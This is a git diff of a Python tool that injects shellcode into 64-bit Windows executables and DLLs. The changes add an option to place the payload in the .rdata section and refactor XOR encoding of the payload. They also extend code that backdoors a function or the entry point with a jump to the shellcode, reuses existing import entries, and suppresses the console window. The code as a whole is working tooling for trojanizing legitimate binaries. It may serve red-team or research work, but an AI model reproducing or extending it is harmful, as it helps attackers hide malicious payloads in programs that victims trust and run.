diff --git a/app/templates/project.html b/app/templates/project.html index aeb4aef..90d1414 100644 --- a/app/templates/project.html +++ b/app/templates/project.html @@ -146,6 +146,14 @@ Add missing IAT entries + + diff --git a/app/views_project.py b/app/views_project.py index 552b86a..d677e7f 100644 --- a/app/views_project.py +++ b/app/views_project.py @@ -99,6 +99,7 @@ def project(name): function_invoke_styles = [(color.name, color.value) for color in FunctionInvokeStyle] decoderstyles = [(color.name, color.value) for color in DecoderStyle] carrier_invoke_styles = [(color.name, color.value) for color in CarrierInvokeStyle] + payload_locations = [(color.name, color.value) for color in PayloadLocation] return render_template('project.html', project_name = name, @@ -111,6 +112,7 @@ def project(name): function_invoke_styles=function_invoke_styles, decoderstyles=decoderstyles, carrier_invoke_styles=carrier_invoke_styles, + payload_locations=payload_locations, exports=exports, log_files=log_files, @@ -183,6 +185,9 @@ def add_project(): decoder_style = request.form['decoder_style'] settings.decoder_style = DecoderStyle[decoder_style] + payload_location = request.form['payload_location'] + settings.payload_location = PayloadLocation[payload_location] + # overwrite project project = storage.get_project(project_name) project.settings = settings diff --git a/helper.py b/helper.py index 1b29950..78d0caf 100644 --- a/helper.py +++ b/helper.py @@ -67,7 +67,7 @@ def run_exe(exefile, dllfunc="", check=True): def run_process_checkret(args, check=True): - logger.info("--[ Run process: {}".format(" ".join(args))) + logger.debug(" > Run process: {}".format(" ".join(args))) ret = subprocess.CompletedProcess("", 666) try: diff --git a/log.py b/log.py index 062a89d..2d0d203 100644 --- a/log.py +++ b/log.py @@ -17,7 +17,7 @@ class LogColors: class CustomFormatter(logging.Formatter): #format = "%(asctime)s - %(name)-12s - [%(levelname)-8s] - %(message)s (%(filename)s:%(lineno)d)" - format = "(%(filename)-12s) %(message)s" + format = "(%(filename)-16s) %(message)s" FORMATS = { logging.DEBUG: format, diff --git a/model/carrier.py b/model/carrier.py index 09a6b54..a6df363 100644 --- a/model/carrier.py +++ b/model/carrier.py @@ -63,7 +63,7 @@ class Carrier(): def get_all_reusedata_fixups(self) -> List[DataReuseEntry]: return self.reusedata_fixups - def get_all_reusedata_fixup(self, string_ref) -> DataReuseEntry: + def get_reusedata_fixup(self, string_ref) -> DataReuseEntry: for entry in self.reusedata_fixups: if entry.string_ref == string_ref: return entry diff --git a/model/project.py b/model/project.py index 142b946..a508138 100644 --- a/model/project.py +++ b/model/project.py @@ -57,5 +57,5 @@ def prepare_project(project_name, settings): # copy *.c *.h files from src directory to dst directory for file in os.listdir(src): if file.endswith(".c") or file.endswith(".h"): - logger.info("Copy {} to {}".format(src + file, dst)) + logger.info("--( Copy {} to {}".format(src + file, dst)) shutil.copy2(src + file, dst) \ No newline at end of file diff --git a/model/settings.py b/model/settings.py index d0bb990..84cd5e2 100644 --- a/model/settings.py +++ b/model/settings.py @@ -31,7 +31,7 @@ class Settings(): # More self.fix_missing_iat = False - self.payload_location = PayloadLocation.CODE + self.payload_location = PayloadLocation.DATA def prep_web(self, project_name): diff --git a/pe/derbackdoorer.py b/pe/derbackdoorer.py index f33d43d..8aa8edc 100644 --- a/pe/derbackdoorer.py +++ b/pe/derbackdoorer.py @@ -36,15 +36,14 @@ class FunctionBackdoorer: def backdoor_function(self, function_addr: int, shellcode_addr: int, shellcode_len: int): - logger.info("Backdooring function at 0x{:X} (to shellcode 0x{:X})".format(function_addr, shellcode_addr)) + logger.info("Backdooring function at 0x{:X} (jump to shellcode at 0x{:X})".format(function_addr, shellcode_addr)) addr = self.find_suitable_instruction_addr(function_addr) if addr is None: raise Exception("Couldn't find a suitable instruction to backdoor") compiled_trampoline = assemble_relative_jmp(addr, shellcode_addr) - logger.info("--[ Backdoor 0x{:X}: {}".format( - addr, compiled_trampoline.hex())) + logger.info("--[ Backdoor Instruction at 0x{:X} (offset to shellcode: 0x{:X})".format(addr, shellcode_addr - addr)) # Check for overlap it = IntervalTree() @@ -58,10 +57,20 @@ class FunctionBackdoorer: # write self.superpe.pe.set_bytes_at_rva(addr, bytes(compiled_trampoline)) + # Show Result + logger.info("--[ Patched result of function: ".format()) + data = self.pe_data[function_addr:addr+len(compiled_trampoline)] + self.asm_disasm(data, offset=function_addr) + + + def asm_disasm(self, asm_text, offset=0): + for instr in self.cs.disasm(asm_text, offset): + self.printInstr(instr, 0) + def find_suitable_instruction_addr(self, startOffset, length=256): """Find a instruction to backdoor. Recursively.""" - logger.info("find suitable instr to hijack: off: from 0x{:X} len:{} depthopt:{}".format( + logger.info("find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format( startOffset, length, self.depth_option)) if self.depth_option == DEPTH_OPTIONS.LEVEL1: @@ -79,8 +88,6 @@ class FunctionBackdoorer: def _find_suitable_instruction_addr(self, startOffset, length, option): - #logger.info("_find_suitable_instruction_addr: off: 0x{:X} len:{} option:{}".format(startOffset, length, option)) - # iterate through every instruction. starting from startOffset data = self.pe_data[startOffset:startOffset + length] for instr in self.cs.disasm(data, startOffset): diff --git a/pe/pehelper.py b/pe/pehelper.py index abf60b8..2b08479 100644 --- a/pe/pehelper.py +++ b/pe/pehelper.py @@ -2,7 +2,7 @@ import sys import pefile import pprint from keystone import Ks, KS_ARCH_X86, KS_MODE_64 -from capstone import Cs, CS_ARCH_X86, CS_MODE_64 +from capstone import Cs, CS_ARCH_X86, CS_MODE_64, CS_MODE_LITTLE_ENDIAN import logging from model.defs import * @@ -67,6 +67,7 @@ def get_code_section(pe: pefile.PE) -> pefile.SectionStructure: # keystone/capstone stuff +cs = Cs(CS_ARCH_X86, CS_MODE_64 + CS_MODE_LITTLE_ENDIAN) def assemble_lea(current_address: int, destination_address: int, reg: str) -> bytes: #print("LEAH: 0x{:X} - 0x{:X} = 0x{:X}".format( @@ -104,6 +105,18 @@ def assemble_relative_jmp(current_address: int, destination_address: int) -> byt return machine_code +def asm_disasm(asm_text, offset=0): + for instr in cs.disasm(asm_text, offset): + printInstr(instr) + +def printInstr(instr, depth=0): + _bytes = [f'{x:02x}' for x in instr.bytes[:8]] + if len(instr.bytes) < 8: + _bytes.extend([' ',] * (8 - len(instr.bytes))) + instrBytes = ' '.join([f'{x}' for x in _bytes]) + logger.info('\t' * 1 + f' [{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}') + + ## Utils def remove_trailing_null_bytes(data: bytes) -> bytes: diff --git a/pe/r2helper.py b/pe/r2helper.py index 36a6f6d..67cb9ee 100644 --- a/pe/r2helper.py +++ b/pe/r2helper.py @@ -28,6 +28,7 @@ def r2_disas(data: bytes): r2.cmd('aaa') r2.cmd('e scr.color=0') + r2.cmd('e asm.bytes=true') ret['text'] = r2.cmd('pD {}'.format(code_len)) ret['text'] = '\n'.join(ret['text'].splitlines()) # fix newlines diff --git a/phases/asmparser.py b/phases/asmparser.py index 70cf40c..948aa8f 100644 --- a/phases/asmparser.py +++ b/phases/asmparser.py @@ -2,13 +2,13 @@ import os from typing import List, Dict from helper import * -from model import * from model.carrier import Carrier, DataReuseEntry, IatRequest +from model.settings import Settings logger = logging.getLogger("AsmParser") -def parse_asm_file(carrier: Carrier, asm_text: str) -> List[str]: +def parse_asm_file(carrier: Carrier, asm_text: str, settings: Settings) -> List[str]: lines_out = [] lines = asm_text.split("\n") @@ -34,6 +34,11 @@ def parse_asm_file(carrier: Carrier, asm_text: str) -> List[str]: lines_out.append(line) continue + if tokens[0] == "COMM": + # HACK atm. Will be handled by masm_shc + # gives false positives for supermega_payload + continue + # PATCH SHORT if "jmp\tSHORT" in line: updated_line = line.replace("SHORT", "") @@ -53,23 +58,42 @@ def parse_asm_file(carrier: Carrier, asm_text: str) -> List[str]: ## mov rdi, QWORD PTR supermega_payload ## to ## lea rdi, [shcstart] ; get payload shellcode address - if "supermega_payload" in line: - updated_line = line - updated_line = updated_line.replace( - "mov ", - "lea " - ) - updated_line = updated_line.replace( - "QWORD PTR supermega_payload", - "[shcstart] ; get payload shellcode address" - ) - lines_out.append(updated_line) - continue + if settings.payload_location == PayloadLocation.CODE: + if "supermega_payload" in line: + updated_line = line + updated_line = updated_line.replace( + "mov ", + "lea " + ) + updated_line = updated_line.replace( + "QWORD PTR supermega_payload", + "[shcstart] ; get payload shellcode address" + ) + lines_out.append(updated_line) + continue + elif settings.payload_location == PayloadLocation.DATA: + if "supermega_payload" in line: + randbytes: bytes = os.urandom(7) # LEA is 7 bytes + string_ref = "supermega_payload" + + datareuse_fixup = carrier.get_reusedata_fixup(string_ref) + if datareuse_fixup == None: + raise Exception("Data reuse entry not found: {}".format(string_ref)) + register = line.split("mov\t")[1].split(",")[0] + + datareuse_fixup.register = register + datareuse_fixup.randbytes = randbytes + + line = bytes_to_asm_db(randbytes) + " ; .rdata Payload".format() + lines_out.append(line) + continue + else: + raise Exception("Unknown payload location: {}".format(settings.payload_location)) # ADD label at end of code # we cant reliably identify in which function, so we just add it at the end ## get_time_raw ENDP - ## <---- add here + ## -> add here ## _TEXT ENDS ## END if line_idx > len(lines) - 5 and tokens[1] == "ENDP": @@ -128,7 +152,7 @@ def parse_asm_file(carrier: Carrier, asm_text: str) -> List[str]: register = line.split("lea\t")[1].split(",")[0] randbytes: bytes = os.urandom(7) - datareuse_fixup = carrier.get_all_reusedata_fixup(string_ref) + datareuse_fixup = carrier.get_reusedata_fixup(string_ref) if datareuse_fixup == None: raise("Data reuse entry not found: {}".format(string_ref)) diff --git a/phases/assembler.py b/phases/assembler.py index 7e69ea4..ab1d4ec 100644 --- a/phases/assembler.py +++ b/phases/assembler.py @@ -30,15 +30,21 @@ def merge_loader_payload( payload_data: bytes, decoder_style: DecoderStyle ) -> bytes: - if decoder_style == DecoderStyle.PLAIN_1: - # Nothing to do - pass - elif decoder_style == DecoderStyle.XOR_1: - xor_key = config.xor_key - logger.info("---[ XOR payload with key 0x{:X}".format(xor_key)) - payload_data = bytes([byte ^ xor_key for byte in payload_data]) + payload_data = encode_payload(payload_data, decoder_style) logger.info("---[ Size: Carrier: {} and Payload: {} Sum: {} ".format( len(shellcode_in), len(payload_data), len(shellcode_in)+len(payload_data))) return shellcode_in + payload_data + + +def encode_payload(payload: bytes, decoder_style: DecoderStyle) -> bytes: + if decoder_style == DecoderStyle.PLAIN_1: + return payload + elif decoder_style == DecoderStyle.XOR_1: + xor_key = config.xor_key + logger.info("---[ XOR payload with key 0x{:X}".format(xor_key)) + xored = bytes([byte ^ xor_key for byte in payload]) + return xored + else: + raise Exception("Unknown decoder style") diff --git a/phases/compiler.py b/phases/compiler.py index 79fba5a..7f0b147 100644 --- a/phases/compiler.py +++ b/phases/compiler.py @@ -11,6 +11,7 @@ from model import * from phases.masmshc import masm_shc, Params from model.carrier import Carrier from phases.asmparser import parse_asm_file +from model.settings import Settings logger = logging.getLogger("Compiler") @@ -21,7 +22,7 @@ def compile_dev( asm_out: FilePath, short_call_patching: bool = False, ): - logger.info("--[ Compile C to ASM: {} -> {} ".format(c_in, asm_out)) + logger.info("--( Compile C to ASM: {} -> {} ".format(c_in, asm_out)) # Compile C To Assembly (text) run_process_checkret([ @@ -51,6 +52,7 @@ def compile( c_in: FilePath, asm_out: FilePath, carrier: Carrier, + settings: Settings, ): logger.info("--[ Compile C to ASM: {} -> {} ".format(c_in, asm_out)) @@ -68,7 +70,7 @@ def compile( asm_text = file_readall_text(asm_out) observer.add_text_file("carrier_asm_orig", asm_text) - asm_text_lines = parse_asm_file(carrier, asm_text) # Fixup assembly file + asm_text_lines = parse_asm_file(carrier, asm_text, settings) # Fixup assembly file asm_text = masm_shc(asm_text_lines) # Cleanup assembly file observer.add_text_file("carrier_asm_final", asm_text) diff --git a/phases/injector.py b/phases/injector.py index 99e227a..3b6dba4 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -45,15 +45,19 @@ def inject_exe( # Patch IAT if necessary if source_style == FunctionInvokeStyle.iat_reuse: for iatRequest in carrier.get_all_iat_requests(): + # skip available + addr = superpe.get_vaddr_of_iatentry(iatRequest.name) + if addr != None: + logger.info(" IAT {} is at: 0x{:X}".format(iatRequest.name, addr)) + continue iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name) superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name) - superpe.pe.parse_data_directories() shellcode_offset: int = 0 # file offset if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: # Special case: DLL exported function direct overwrite - logger.info("--[ Overwrite DLL function {} with shellcode".format(settings.dllfunc)) + logger.info("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc)) rva = superpe.getExportEntryPoint(settings.dllfunc) # Size and sanity checks @@ -65,7 +69,7 @@ def inject_exe( # Inject shellcode_offset = superpe.get_offset_from_rva(rva) - logger.info(f'---[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite') + logger.info(f'----[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite') superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc) else: # Put it somewhere in the code section, and rewire the flow @@ -81,58 +85,58 @@ def inject_exe( shellcode_offset += sect.PointerToRawData shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset) - logger.info("--( Inject: Shellcode rva:0x{:X} (from offset:0x{:X})".format( - shellcode_rva, shellcode_offset)) + logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format( + shellcode_offset, shellcode_rva)) # Copy the shellcode superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc) # rewire flow if superpe.is_dll() and settings.dllfunc != "": - logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc)) - if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - # Handled above, without arriving here + # Handled above raise Exception("We should not land here") elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: addr = superpe.getExportEntryPoint(settings.dllfunc) - logger.info("--( Inject DLL: Patch {} (0x{:X})".format( + logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format( settings.dllfunc, addr)) function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len) else: # EXE - logger.info("---( Rewire: EXE") - if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - logger.info("--( Inject EXE: Change Entry Point to 0x{:X}".format( + logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format( shellcode_rva)) superpe.set_entrypoint(shellcode_rva) elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: addr = superpe.get_entrypoint() - logger.info("--( Inject EXE: Patch from entrypoint (0x{:X})".format( + logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format( addr)) function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len) if source_style == FunctionInvokeStyle.iat_reuse: + logger.info("--( Fix shellcode to re-use IAT entries") injected_fix_iat(superpe, carrier) - injected_fix_data(superpe, carrier) + logger.info("--( Fix shellcode to reference data stored in .rdata") + injected_fix_data(superpe, carrier) # changes from console to UI (no console window) if necessary superpe.patch_subsystem() # We done + logger.info("--( Write to file: {}".format(exe_out)) superpe.write_pe_to_file(exe_out) # verify and log #shellcode = file_readall_binary(shellcode_in) #shellcode_len = len(shellcode) #code = extract_code_from_exe_file(exe_out) - #in_code = code[function_backdoorer.shellcodeOffsetRel:function_backdoorer.shellcodeOffsetRel+shellcode_len] + code = file_readall_binary(exe_out) + in_code = code[shellcode_offset:shellcode_offset+shellcode_len] #jmp_code = code[function_backdoorer.backdoorOffsetRel:function_backdoorer.backdoorOffsetRel+12] #if config.debug: - # observer.add_code_file("exe_extracted_loader", in_code) + observer.add_code_file("exe_extracted_carrier", in_code) # observer.add_code_file("exe_extracted_jmp", jmp_code) @@ -150,10 +154,12 @@ def injected_fix_iat(superpe: SuperPe, carrier: Carrier): raise Exception("IatResolve: Function {} not found".format(iatRequest.name)) instruction_virtual_address = offset_from_code + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress - logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X}".format( + logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X}".format( iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address )) jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address) + if len(jmp) != len(iatRequest.placeholder): + raise Exception("IatResolve: Call to IAT has different length than placeholder, abort") code = code.replace(iatRequest.placeholder, jmp) superpe.write_code_section_data(code) @@ -185,40 +191,53 @@ def injected_fix_data(superpe: SuperPe, carrier: Carrier): rm.add_range(peSection.virt_addr, peSection.virt_addr + string_off) # Do all .rdata patches + logger.info("---( Patch: .rdata") for datareuse_fixup in reusedata_fixups: + logger.info(" Handling DataReuse Fixup: {} <- {}".format( + datareuse_fixup.string_ref, datareuse_fixup.randbytes.hex())) + # get a hole in the .rdata section to put our data - hole = rm.find_hole(len(datareuse_fixup.data)) - if hole == None: + hole_rva = rm.find_hole(len(datareuse_fixup.data)) + if hole_rva == None: raise Exception("No suitable hole with size {} found in .rdata section, abort".format( len(datareuse_fixup.data) )) - fixup_offset_rdata = hole[0] # the start address of the hole (from start of .rdata) - rm.add_range(hole[0], hole[1]) # mark it as used + rm.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used + var_data = datareuse_fixup.data - superpe.pe.set_bytes_at_offset(fixup_offset_rdata, var_data) - datareuse_fixup.addr = fixup_offset_rdata + peSection.virt_addr + carrier.superpe.get_image_base() - peSection.raw_addr - logging.info(" Add data to .rdata at 0x{:X} (off: {}): {}".format( - datareuse_fixup.addr, fixup_offset_rdata, var_data.decode('utf-16le'))) - fixup_offset_rdata += len(var_data) + 8 + data_rva = hole_rva[0] + superpe.pe.set_bytes_at_rva(data_rva, var_data) + datareuse_fixup.addr = data_rva + carrier.superpe.get_image_base() + if len(var_data) <= 32: # show strings (hope they are less than that, and shellcode is larger) + logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format( + datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, var_data.decode("utf-16le"))) + else: + logging.info(" Add to .rdata at 0x{:X} ({}): {}: Data with len {}".format( + datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, len(var_data))) # patch code section # replace the placeholder with a LEA instruction to the data we written above + logger.info("---( Patch: .text") code = superpe.get_code_section_data() for datareuse_fixup in reusedata_fixups: if not datareuse_fixup.randbytes in code: - raise Exception("DataReuse: ID {} not found, abort".format( - datareuse_fixup.randbytes)) + raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format( + datareuse_fixup.randbytes.hex(), datareuse_fixup.string_ref)) offset_from_datasection = code.index(datareuse_fixup.randbytes) instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress destination_virtual_address = datareuse_fixup.addr - logger.info(" Replace {} at VA 0x{:X} with LEA {} .rdata 0x{:X}".format( + logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format( datareuse_fixup.randbytes.hex(), instruction_virtual_address, datareuse_fixup.register, destination_virtual_address )) lea = assemble_lea( instruction_virtual_address, destination_virtual_address, datareuse_fixup.register ) + asm_disasm(lea, instruction_virtual_address) # DEBUG + if len(lea) != len(datareuse_fixup.randbytes): + raise Exception("IatResolve: Call to IAT has different length than placeholder, abort") code = code.replace(datareuse_fixup.randbytes, lea) + superpe.write_code_section_data(code) @@ -238,3 +257,4 @@ def verify_injected_exe(exefile: FilePath, dllfunc="") -> int: logger.error("---> Verify FAIL. Infected exe does not work (no file created)") return 1 + diff --git a/phases/templater.py b/phases/templater.py index 4df0271..0bc01ee 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -11,7 +11,8 @@ logger = logging.getLogger("Assembler") def create_c_from_template(settings: Settings, payload_len: int): - logger.info("--[ Create C from template") + logger.info("--( Create C from template: {} -> {}".format( + PATH_DECODER, settings.main_c_path)) plugin_decoder = "" # Decoder diff --git a/supermega.py b/supermega.py index 72fc440..a3edbc2 100644 --- a/supermega.py +++ b/supermega.py @@ -18,6 +18,7 @@ from model.project import Project, prepare_project from model.settings import Settings from model.defs import * from log import setup_logging +from model.carrier import Carrier, DataReuseEntry, IatRequest def main(): @@ -140,23 +141,34 @@ def start_real(settings: Settings): if not project.carrier.superpe.is_64(): raise Exception("Binary is not 64bit: {}".format(project.settings.inject_exe_in)) - logger.warning("--I FunctionInvokeStyle: {} Inject Mode: {} DecoderStyle: {}".format( + logger.info("--[ Config: {} {} {} {}".format( project.settings.source_style.value, - project.settings.carrier_invoke_style.value, - project.settings.decoder_style.value)) + settings.payload_location.value, + project.settings.decoder_style.value, + project.settings.carrier_invoke_style.value)) # Create: Carrier C source files from template (C->C) phases.templater.create_c_from_template(settings, project.payload.len) + # If we put the payload into .rdata + # Prepare DataReuseEntry for usage in Compiler/AsmParser + if settings.payload_location == PayloadLocation.DATA: + logger.info("--[ Load payload for use in .rdata injection") + project.carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload")) + entry = project.carrier.get_reusedata_fixup("supermega_payload") + entry.data = phases.assembler.encode_payload(project.payload.payload_data, settings.decoder_style) # encrypt if selected + observer.add_code_file("payload_data", project.payload.payload_data) + # Compile: Carrier to .asm (C -> ASM) if settings.generate_asm_from_c: phases.compiler.compile( c_in = settings.main_c_path, - asm_out = settings.main_asm_path, - carrier = project.carrier) + asm_out = settings.main_asm_path, + carrier = project.carrier, + settings = project.settings) - # we have the required IAT entries in carrier.iat_requests - # Check if all are available, or abort (early check) + # we have the carrier-required IAT entries in carrier.iat_requests + # Check if all are available in infectable, or abort (early check) if settings.source_style == FunctionInvokeStyle.iat_reuse: functions = project.carrier.get_unresolved_iat() if len(functions) != 0: @@ -170,18 +182,19 @@ def start_real(settings: Settings): carrier_shellcode: bytes = phases.assembler.asm_to_shellcode( asm_in = settings.main_asm_path, build_exe = settings.main_exe_path) - observer.add_code_file("carrier_shc", carrier_shellcode) + observer.add_code_file("carrier_shc", carrier_shellcode) # Merge: shellcode/loader with payload (SHC + PAYLOAD -> SHC) if settings.payload_location == PayloadLocation.CODE: - logger.info("--[ Merge carrier with payload".format()) + logger.info("--[ Merge carrier with payload for .text injection".format()) full_shellcode = phases.assembler.merge_loader_payload( shellcode_in = carrier_shellcode, payload_data = project.payload.payload_data, decoder_style = settings.decoder_style) observer.add_code_file("full_shc", full_shellcode) - elif settings.payload_location == PayloadLocation.DATA: - logger.error("Not impolemented yet: PayloadLocation.DATA") + else: + # shellcode is in .rdata, so we dont need to merge + full_shellcode = carrier_shellcode # RWX Injection (optional): obfuscate loader+payload #if project.exe_host.rwx_section != None: